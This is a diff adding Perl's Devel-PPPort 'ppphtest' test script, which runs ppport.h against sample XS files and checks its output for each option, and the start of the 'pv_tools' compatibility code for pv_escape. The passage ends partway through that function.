new file mode 100644
index 00000000000..925929d6681
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphtest
@@ -0,0 +1,909 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=tests plan => 238
+
+BEGIN {
+ if ($ENV{'SKIP_SLOW_TESTS'}) {
+ for (1 .. 238) {
+ skip("skip: SKIP_SLOW_TESTS", 0);
+ }
+ exit 0;
+ }
+}
+
+use File::Path qw/rmtree mkpath/;
+use Config;
+
+my $tmp = 'ppptmp';
+my $inc = '';
+my $isVMS = $^O eq 'VMS';
+my $isMAC = $^O eq 'MacOS';
+my $perl = find_perl();
+
+rmtree($tmp) if -d $tmp;
+mkpath($tmp) or die "mkpath $tmp: $!\n";
+chdir($tmp) or die "chdir $tmp: $!\n";
+
+if ($ENV{'PERL_CORE'}) {
+ if (-d '../../lib') {
+ if ($isVMS) {
+ $inc = '"-I../../lib"';
+ }
+ elsif ($isMAC) {
+ $inc = '-I:::lib';
+ }
+ else {
+ $inc = '-I../../lib';
+ }
+ unshift @INC, '../../lib';
+ }
+}
+if ($perl =~ m!^\./!) {
+ $perl = ".$perl";
+}
+
+END {
+ chdir('..') if !-d $tmp && -d "../$tmp";
+ rmtree($tmp) if -d $tmp;
+}
+
+ok(&Devel::PPPort::WriteFile("ppport.h"));
+
+# Check GetFileContents()
+ok(-e "ppport.h", 1);
+
+my $data;
+
+open(F, "<ppport.h") or die "Failed to open ppport.h: $!";
+while(<F>) {
+ $data .= $_;
+}
+close(F);
+
+ok(Devel::PPPort::GetFileContents("ppport.h"), $data);
+ok(Devel::PPPort::GetFileContents(), $data);
+
+sub comment
+{
+ my $c = shift;
+ $c =~ s/^/# | /mg;
+ $c .= "\n" unless $c =~ /[\r\n]$/;
+ print $c;
+}
+
+sub ppport
+{
+ my @args = ('ppport.h', @_);
+ unshift @args, $inc if $inc;
+ my $run = $perl =~ m/\s/ ? qq("$perl") : $perl;
+ $run .= ' -MMac::err=unix' if $isMAC;
+ for (@args) {
+ $_ = qq("$_") if $isVMS && /^[^"]/;
+ $run .= " $_";
+ }
+ print "# *** running $run ***\n";
+ $run .= ' 2>&1' unless $isMAC;
+ my @out = `$run`;
+ my $out = join '', @out;
+ comment($out);
+ return wantarray ? @out : $out;
+}
+
+sub matches
+{
+ my($str, $re, $mod) = @_;
+ my @n;
+ eval "\@n = \$str =~ /$re/g$mod;";
+ if ($@) {
+ my $err = $@;
+ $err =~ s/^/# *** /mg;
+ print "# *** ERROR ***\n$err\n";
+ }
+ return $@ ? -42 : scalar @n;
+}
+
+sub eq_files
+{
+ my($f1, $f2) = @_;
+ return 0 unless -e $f1 && -e $f2;
+ local *F;
+ for ($f1, $f2) {
+ print "# File: $_\n";
+ unless (open F, $_) {
+ print "# couldn't open $_: $!\n";
+ return 0;
+ }
+ $_ = do { local $/; <F> };
+ close F;
+ comment($_);
+ }
+ return $f1 eq $f2;
+}
+
+my @tests;
+
+for (split /\s*={70,}\s*/, do { local $/; <DATA> }) {
+ s/^\s+//; s/\s+$//;
+ my($c, %f);
+ ($c, @f{m/-{20,}\s+(\S+)\s+-{20,}/g}) = split /\s*-{20,}\s+\S+\s+-{20,}\s*/;
+ push @tests, { code => $c, files => \%f };
+}
+
+my $t;
+for $t (@tests) {
+ print "#\n", ('# ', '-'x70, "\n")x3, "#\n";
+ my $f;
+ for $f (keys %{$t->{files}}) {
+ my @f = split /\//, $f;
+ if (@f > 1) {
+ pop @f;
+ my $path = join '/', @f;
+ mkpath($path) or die "mkpath('$path'): $!\n";
+ }
+ my $txt = $t->{files}{$f};
+ local *F;
+ open F, ">$f" or die "open $f: $!\n";
+ print F "$txt\n";
+ close F;
+ $txt =~ s/^/# | /mg;
+ print "# *** writing $f ***\n$txt\n";
+ }
+
+ my $code = $t->{code};
+ $code =~ s/^/# | /mg;
+
+ print "# *** evaluating test code ***\n$code\n";
+
+ eval $t->{code};
+ if ($@) {
+ my $err = $@;
+ $err =~ s/^/# *** /mg;
+ print "# *** ERROR ***\n$err\n";
+ }
+ ok($@, '');
+
+ for (keys %{$t->{files}}) {
+ unlink $_ or die "unlink('$_'): $!\n";
+ }
+}
+
+sub find_perl
+{
+ my $perl = $^X;
+
+ return $perl if $isVMS;
+
+ my $exe = $Config{'_exe'} || '';
+
+ if ($perl =~ /^perl\Q$exe\E$/i) {
+ $perl = "perl$exe";
+ eval "require File::Spec";
+ if ($@) {
+ $perl = "./$perl";
+ } else {
+ $perl = File::Spec->catfile(File::Spec->curdir(), $perl);
+ }
+ }
+
+ if ($perl !~ /\Q$exe\E$/i) {
+ $perl .= $exe;
+ }
+
+ warn "find_perl: cannot find $perl from $^X" unless -f $perl;
+
+ return $perl;
+}
+
+__DATA__
+
+my $o = ppport(qw(--help));
+ok($o =~ /^Usage:.*ppport\.h/m);
+ok($o =~ /--help/m);
+
+$o = ppport(qw(--version));
+ok($o =~ /^This is.*ppport.*\d+\.\d+(?:_?\d+)?\.$/);
+
+$o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*test\.xs/mi);
+ok($o =~ /Analyzing.*test\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+ok($o =~ /Uses Perl_newSViv instead of newSViv/);
+
+$o = ppport(qw(--quiet --nochanges));
+ok($o =~ /^\s*$/);
+
+---------------------------- test.xs ------------------------------------------
+
+Perl_newSViv();
+
+===============================================================================
+
+# check if C and C++ comments are filtered correctly
+
+my $o = ppport(qw(--copy=a));
+ok($o =~ /^Scanning.*MyExt\.xs/mi);
+ok($o =~ /Analyzing.*MyExt\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Uses grok_bin/m);
+ok($o !~ /^Uses newSVpv/m);
+ok($o =~ /Uses 1 C\+\+ style comment/m);
+ok(eq_files('MyExt.xsa', 'MyExt.ra'));
+
+# check if C++ are left untouched with --cplusplus
+
+$o = ppport(qw(--copy=b --cplusplus));
+ok($o =~ /^Scanning.*MyExt\.xs/mi);
+ok($o =~ /Analyzing.*MyExt\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Uses grok_bin/m);
+ok($o !~ /^Uses newSVpv/m);
+ok($o !~ /Uses \d+ C\+\+ style comment/m);
+ok(eq_files('MyExt.xsb', 'MyExt.rb'));
+
+unlink qw(MyExt.xsa MyExt.xsb);
+
+---------------------------- MyExt.xs -----------------------------------------
+
+newSVuv();
+ // newSVpv();
+ XPUSHs(foo);
+/* grok_bin(); */
+
+---------------------------- MyExt.ra -----------------------------------------
+
+#include "ppport.h"
+newSVuv();
+ /* newSVpv(); */
+ XPUSHs(foo);
+/* grok_bin(); */
+
+---------------------------- MyExt.rb -----------------------------------------
+
+#include "ppport.h"
+newSVuv();
+ // newSVpv();
+ XPUSHs(foo);
+/* grok_bin(); */
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /^Uses newCONSTSUB/m);
+ok($o =~ /^Uses PL_expect/m);
+ok($o =~ /^Uses SvPV_nolen.*depends.*sv_2pv_flags/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o =~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --nohints file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /^Uses newCONSTSUB/m);
+ok($o =~ /^Uses PL_expect/m);
+ok($o =~ /^Uses SvPV_nolen.*depends.*sv_2pv_flags/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o !~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --nohints --nodiag file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o !~ /^Uses newCONSTSUB/m);
+ok($o !~ /^Uses PL_expect/m);
+ok($o !~ /^Uses SvPV_nolen/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o !~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --quiet file1.xs));
+ok($o =~ /^\s*$/);
+
+$o = ppport(qw(--nochanges file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /^Uses mXPUSHp/m);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --nohints file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /^Uses mXPUSHp/m);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --nohints --nodiag file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o !~ /^Uses mXPUSHp/m);
+ok($o !~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --quiet file2.xs));
+ok($o =~ /^\s*$/);
+
+---------------------------- file1.xs -----------------------------------------
+
+#define NEED_newCONSTSUB
+#define NEED_sv_2pv_flags
+#define NEED_PL_parser
+#include "ppport.h"
+
+newCONSTSUB();
+SvPV_nolen();
+PL_expect = 0;
+
+---------------------------- file2.xs -----------------------------------------
+
+mXPUSHp(foo);
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*FooBar\.xs/mi);
+ok($o =~ /Analyzing.*FooBar\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^Uses grok_bin/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+newSViv();
+XPUSHs(foo);
+grok_bin();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*First\.xs/mi);
+ok($o =~ /Analyzing.*First\.xs/mi);
+ok($o =~ /^Scanning.*second\.h/mi);
+ok($o =~ /Analyzing.*second\.h/mi);
+ok($o =~ /^Scanning.*sub.*third\.c/mi);
+ok($o =~ /Analyzing.*sub.*third\.c/mi);
+ok($o !~ /^Scanning.*foobar/mi);
+ok(matches($o, '^Scanning', 'm'), 3);
+
+---------------------------- First.xs -----------------------------------------
+
+one
+
+---------------------------- foobar.xyz ---------------------------------------
+
+two
+
+---------------------------- second.h -----------------------------------------
+
+three
+
+---------------------------- sub/third.c --------------------------------------
+
+four
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Possibly wrong #define NEED_foobar in.*test.xs/i);
+
+---------------------------- test.xs ------------------------------------------
+
+#define NEED_foobar
+
+===============================================================================
+
+# And now some complex "real-world" example
+
+my $o = ppport(qw(--copy=f));
+for (qw(main.xs mod1.c mod2.c mod3.c mod4.c mod5.c)) {
+ ok($o =~ /^Scanning.*\Q$_\E/mi);
+ ok($o =~ /Analyzing.*\Q$_\E/i);
+}
+ok(matches($o, '^Scanning', 'm'), 6);
+
+ok(matches($o, '^Writing copy of', 'm'), 5);
+ok(!-e "mod5.cf");
+
+for (qw(main.xs mod1.c mod2.c mod3.c mod4.c)) {
+ ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+ ok(-e "${_}f");
+ ok(eq_files("${_}f", "${_}r"));
+ unlink "${_}f";
+}
+
+---------------------------- main.xs ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_newCONSTSUB
+#define NEED_grok_hex_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_hex();
+Perl_grok_bin(aTHX_ foo, bar);
+
+/* some comment */
+
+perl_eval_pv();
+grok_bin();
+Perl_grok_bin(bar, sv_no);
+
+---------------------------- mod1.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_grok_bin_GLOBAL
+#define NEED_newCONSTSUB
+#include "ppport.h"
+
+newCONSTSUB();
+grok_bin();
+{
+ Perl_croak ("foo");
+ Perl_sv_catpvf(); /* I know it's wrong ;-) */
+}
+
+---------------------------- mod2.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_eval_pv
+#include "ppport.h"
+
+newSViv();
+
+/*
+ eval_pv();
+*/
+
+---------------------------- mod3.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+grok_oct();
+eval_pv();
+
+---------------------------- mod4.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+START_MY_CXT;
+
+---------------------------- mod5.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#include "ppport.h"
+call_pv();
+
+---------------------------- main.xsr -----------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_eval_pv_GLOBAL
+#define NEED_grok_hex
+#define NEED_newCONSTSUB_GLOBAL
+#define NEED_sv_2pv_flags_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_hex();
+grok_bin(foo, bar);
+
+/* some comment */
+
+eval_pv();
+grok_bin();
+grok_bin(bar, PL_sv_no);
+
+---------------------------- mod1.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_grok_bin_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_bin();
+{
+ Perl_croak (aTHX_ "foo");
+ Perl_sv_catpvf(aTHX); /* I know it's wrong ;-) */
+}
+
+---------------------------- mod2.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+
+newSViv();
+
+/*
+ eval_pv();
+*/
+
+---------------------------- mod3.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+#define NEED_grok_oct
+#include "ppport.h"
+
+grok_oct();
+eval_pv();
+
+---------------------------- mod4.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+#include "ppport.h"
+
+START_MY_CXT;
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Uses grok_hex/m);
+ok($o !~ /Looks good/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.8.0));
+ok($o !~ /Uses grok_hex/m);
+ok($o =~ /Looks good/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+grok_hex();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.5.3));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.005_03));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.6.0));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.006));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.999.999));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=6.0.0));
+ok($o =~ /Only Perl 5 is supported/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.1000.999));
+ok($o =~ /Invalid version number: 5.1000.999/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.999.1000));
+ok($o =~ /Invalid version number: 5.999.1000/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+SvPVutf8_force();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o !~ /potentially required change/);
+ok(matches($o, '^Looks good', 'm'), 2);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+#define NEED_grok_numeric_radix
+#define NEED_grok_number
+#include "ppport.h"
+
+GROK_NUMERIC_RADIX();
+grok_number();
+
+---------------------------- foo.c --------------------------------------------
+
+#include "ppport.h"
+
+call_pv();
+
+===============================================================================
+
+# check --api-info option
+
+my $o = ppport(qw(--api-info=INT2PTR));
+my %found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 1);
+ok(exists $found{INT2PTR});
+ok(matches($o, '^Supported at least starting from perl-5\.6\.0\.', 'm'), 1);
+ok(matches($o, '^Support by .*ppport.* provided back to perl-5\.003\.', 'm'), 1);
+
+$o = ppport(qw(--api-info=Zero));
+%found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 1);
+ok(exists $found{Zero});
+ok(matches($o, '^No portability information available\.', 'm'), 1);
+
+$o = ppport(qw(--api-info=/Zero/));
+%found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 2);
+ok(exists $found{Zero});
+ok(exists $found{ZeroD});
+
+===============================================================================
+
+# check --list-provided option
+
+my @o = ppport(qw(--list-provided));
+my %p;
+my $fail = 0;
+for (@o) {
+ my($name, $flags) = /^(\w+)(?:\s+\[(\w+(?:,\s+\w+)*)\])?$/ or $fail++;
+ exists $p{$name} and $fail++;
+ $p{$name} = defined $flags ? { map { ($_ => 1) } $flags =~ /(\w+)/g } : '';
+}
+ok(@o > 100);
+ok($fail, 0);
+
+ok(exists $p{call_pv});
+ok(not ref $p{call_pv});
+
+ok(exists $p{grok_bin});
+ok(ref $p{grok_bin}, 'HASH');
+ok(scalar keys %{$p{grok_bin}}, 2);
+ok($p{grok_bin}{explicit});
+ok($p{grok_bin}{depend});
+
+ok(exists $p{gv_stashpvn});
+ok(ref $p{gv_stashpvn}, 'HASH');
+ok(scalar keys %{$p{gv_stashpvn}}, 2);
+ok($p{gv_stashpvn}{depend});
+ok($p{gv_stashpvn}{hint});
+
+ok(exists $p{sv_catpvf_mg});
+ok(ref $p{sv_catpvf_mg}, 'HASH');
+ok(scalar keys %{$p{sv_catpvf_mg}}, 2);
+ok($p{sv_catpvf_mg}{explicit});
+ok($p{sv_catpvf_mg}{depend});
+
+ok(exists $p{PL_signals});
+ok(ref $p{PL_signals}, 'HASH');
+ok(scalar keys %{$p{PL_signals}}, 1);
+ok($p{PL_signals}{explicit});
+
+===============================================================================
+
+# check --list-unsupported option
+
+my @o = ppport(qw(--list-unsupported));
+my %p;
+my $fail = 0;
+for (@o) {
+ my($name, $ver) = /^(\w+)\s*\.+\s*([\d._]+)$/ or $fail++;
+ exists $p{$name} and $fail++;
+ $p{$name} = $ver;
+}
+ok(@o > 100);
+ok($fail, 0);
+
+ok(exists $p{utf8_distance});
+ok($p{utf8_distance}, '5.6.0');
+
+ok(exists $p{save_generic_svref});
+ok($p{save_generic_svref}, '5.005_03');
+
+===============================================================================
+
+# check --nofilter option
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+
+$o = ppport(qw(--nochanges foo.cpp foo.o Makefile.PL));
+ok($o =~ /Skipping the following files \(use --nofilter to avoid this\):/m);
+ok(matches($o, '^\|\s+foo\.o', 'mi'), 1);
+ok(matches($o, '^\|\s+Makefile\.PL', 'mi'), 1);
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+
+$o = ppport(qw(--nochanges --nofilter foo.cpp foo.o Makefile.PL));
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok($o =~ /^Scanning.*foo\.o/mi);
+ok($o =~ /Analyzing.*foo\.o/mi);
+ok($o =~ /^Scanning.*Makefile/mi);
+ok($o =~ /Analyzing.*Makefile/mi);
+ok(matches($o, '^Scanning', 'm'), 3);
+ok(matches($o, 'Analyzing', 'm'), 3);
+
+---------------------------- foo.cpp ------------------------------------------
+
+newSViv();
+
+---------------------------- foo.o --------------------------------------------
+
+newSViv();
+
+---------------------------- Makefile.PL --------------------------------------
+
+newSViv();
+
+===============================================================================
+
+# check if explicit variables are handled propery
+
+my $o = ppport(qw(--copy=a));
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o =~ /^Uses PL_signals/m);
+ok($o =~ /^File needs PL_signals, adding static request/m);
+ok(eq_files('MyExt.xsa', 'MyExt.ra'));
+
+unlink qw(MyExt.xsa);
+
+---------------------------- MyExt.xs -----------------------------------------
+
+PL_signals = 123;
+if (PL_signals == 42)
+ foo();
+
+---------------------------- MyExt.ra -----------------------------------------
+
+#define NEED_PL_signals
+#include "ppport.h"
+PL_signals = 123;
+if (PL_signals == 42)
+ foo();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges file.xs));
+ok($o =~ /^Uses PL_copline/m);
+ok($o =~ /WARNING: PL_copline/m);
+ok($o =~ /^Uses SvUOK/m);
+ok($o =~ /WARNING: Uses SvUOK, which may not be portable/m);
+ok($o =~ /^Analysis completed \(2 warnings\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.8.0 file.xs));
+ok($o =~ /^Uses PL_copline/m);
+ok($o =~ /WARNING: PL_copline/m);
+ok($o !~ /WARNING: Uses SvUOK, which may not be portable/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+---------------------------- file.xs -----------------------------------------
+
+#define NEED_PL_parser
+#include "ppport.h"
+SvUOK
+PL_copline
+
+===============================================================================
+
+my $o = ppport(qw(--copy=f));
+
+for (qw(file.xs)) {
+ ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+ ok(-e "${_}f");
+ ok(eq_files("${_}f", "${_}r"));
+ unlink "${_}f";
+}
+
+---------------------------- file.xs -----------------------------------------
+
+a_string = "sv_undef"
+a_char = 'sv_yes'
+#define SOMETHING defgv
+/* C-comment: sv_tainted */
+#
+# This is just a big XS comment using sv_no
+#
+/* The following, is NOT an XS comment! */
+# define SOMETHING_ELSE defgv + \
+ sv_undef
+
+---------------------------- file.xsr -----------------------------------------
+
+#include "ppport.h"
+a_string = "sv_undef"
+a_char = 'sv_yes'
+#define SOMETHING PL_defgv
+/* C-comment: sv_tainted */
+#
+# This is just a big XS comment using sv_no
+#
+/* The following, is NOT an XS comment! */
+# define SOMETHING_ELSE PL_defgv + \
+ PL_sv_undef
+
+===============================================================================
+
+my $o = ppport(qw(--copy=f));
+
+for (qw(file.xs)) {
+ ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+ ok(-e "${_}f");
+ ok(eq_files("${_}f", "${_}r"));
+ unlink "${_}f";
+}
+
+---------------------------- file.xs -----------------------------------------
+
+#define NEED_sv_2pv_flags
+#define NEED_vnewSVpvf
+#define NEED_warner
+#include "ppport.h"
+Perl_croak_nocontext("foo");
+Perl_croak("bar");
+croak("foo");
+croak_nocontext("foo");
+Perl_warner_nocontext("foo");
+Perl_warner("foo");
+warner_nocontext("foo");
+warner("foo");
+
+---------------------------- file.xsr -----------------------------------------
+
+#define NEED_sv_2pv_flags
+#define NEED_vnewSVpvf
+#define NEED_warner
+#include "ppport.h"
+Perl_croak_nocontext("foo");
+Perl_croak(aTHX_ "bar");
+croak("foo");
+croak_nocontext("foo");
+Perl_warner_nocontext("foo");
+Perl_warner(aTHX_ "foo");
+warner_nocontext("foo");
+warner("foo");
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pv_tools b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pv_tools
new file mode 100644
index 00000000000..af75c423ca6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pv_tools
@@ -0,0 +1,276 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+pv_escape
+pv_pretty
+pv_display
+
+=implementation
+
+__UNDEFINED__ PERL_PV_ESCAPE_QUOTE 0x0001
+__UNDEFINED__ PERL_PV_PRETTY_QUOTE PERL_PV_ESCAPE_QUOTE
+__UNDEFINED__ PERL_PV_PRETTY_ELLIPSES 0x0002
+__UNDEFINED__ PERL_PV_PRETTY_LTGT 0x0004
+__UNDEFINED__ PERL_PV_ESCAPE_FIRSTCHAR 0x0008
+__UNDEFINED__ PERL_PV_ESCAPE_UNI 0x0100
+__UNDEFINED__ PERL_PV_ESCAPE_UNI_DETECT 0x0200
+__UNDEFINED__ PERL_PV_ESCAPE_ALL 0x1000
+__UNDEFINED__ PERL_PV_ESCAPE_NOBACKSLASH 0x2000
+__UNDEFINED__ PERL_PV_ESCAPE_NOCLEAR 0x4000
+__UNDEFINED__ PERL_PV_ESCAPE_RE 0x8000
+__UNDEFINED__ PERL_PV_PRETTY_NOCLEAR PERL_PV_ESCAPE_NOCLEAR
+
+__UNDEFINED__ PERL_PV_PRETTY_DUMP PERL_PV_PRETTY_ELLIPSES|PERL_PV_PRETTY_QUOTE
+__UNDEFINED__ PERL_PV_PRETTY_REGPROP PERL_PV_PRETTY_ELLIPSES|PERL_PV_PRETTY_LTGT|PERL_PV_ESCAPE_RE
+
+/* Hint: pv_escape
+ * Note that unicode functionality is only backported to
+ * those perl versions that support it. For older perl
+ * versions, the implementation will fall back to bytes.
+ */
+
+#ifndef pv_escape
+#if { NEED pv_escape }
+
+char *
+pv_escape(pTHX_ SV *dsv, char const * const str,
+ const STRLEN count, const STRLEN max,
+ STRLEN * const escaped, const U32 flags)
+{
+ const char esc = flags & PERL_PV_ESCAPE_RE ? '%' : '\\';
+ const char dq = flags & PERL_PV_ESCAPE_QUOTE ? '"' : esc;
+ char octbuf[32] = "%123456789ABCDF";
+ STRLEN wrote = 0;
+ STRLEN chsize = 0;
+ STRLEN readsize = 1;
+#if defined(is_utf8_string) && defined(utf8_to_uvchr)
+ bool isuni = flags & PERL_PV_ESCAPE_UNI ? 1 : 0;
+#endif
+ const char *pv = str;
+ const char * const end = pv + count;
+ octbuf[0] = esc;
+
+ if (!(flags & PERL_PV_ESCAPE_NOCLEAR))
+ sv_setpvs(dsv, "");
+
+#if defined(is_utf8_string) && defined(utf8_to_uvchr)
+ if ((flags & PERL_PV_ESCAPE_UNI_DETECT) && is_utf8_string((U8*)pv, count))
+ isuni = 1;
+#endif
+
+ for (; pv < end && (!max || wrote < max) ; pv += readsize) {
+ const UV u =
+#if defined(is_utf8_string) && defined(utf8_to_uvchr)
+ isuni ? utf8_to_uvchr((U8*)pv, &readsize) :
+#endif
+ (U8)*pv;
+ const U8 c = (U8)u & 0xFF;
+
+ if (u > 255 || (flags & PERL_PV_ESCAPE_ALL)) {
+ if (flags & PERL_PV_ESCAPE_FIRSTCHAR)
+ chsize = my_snprintf(octbuf, sizeof octbuf,
+ "%" UVxf, u);
+ else
+ chsize = my_snprintf(octbuf, sizeof octbuf,
+ "%cx{%" UVxf "}", esc, u);
+ } else if (flags & PERL_PV_ESCAPE_NOBACKSLASH) {
+ chsize = 1;
+ } else {
+ if (c == dq || c == esc || !isPRINT(c)) {
+ chsize = 2;
+ switch (c) {
+ case '\\' : /* fallthrough */
+ case '%' : if (c == esc)
+ octbuf[1] = esc;
+ else
+ chsize = 1;
+ break;
+ case '\v' : octbuf[1] = 'v'; break;
+ case '\t' : octbuf[1] = 't'; break;
+ case '\r' : octbuf[1] = 'r'; break;
+ case '\n' : octbuf[1] = 'n'; break;
+ case '\f' : octbuf[1] = 'f'; break;
+ case '"' : if (dq == '"')
+ octbuf[1] = '"';
+ else
+ chsize = 1;
+ break;
+ default: chsize = my_snprintf(octbuf, sizeof octbuf,
+ pv < end && isDIGIT((U8)*(pv+readsize))
+ ? "%c%03o" : "%c%o", esc, c);
+ }
+ } else {
+ chsize = 1;
+ }
+ }
+ if (max && wrote + chsize > max) {
+ break;
+ } else if (chsize > 1) {
+ sv_catpvn(dsv, octbuf, chsize);
+ wrote += chsize;
+ } else {
+ char tmp[2];
+ my_snprintf(tmp, sizeof tmp, "%c", c);
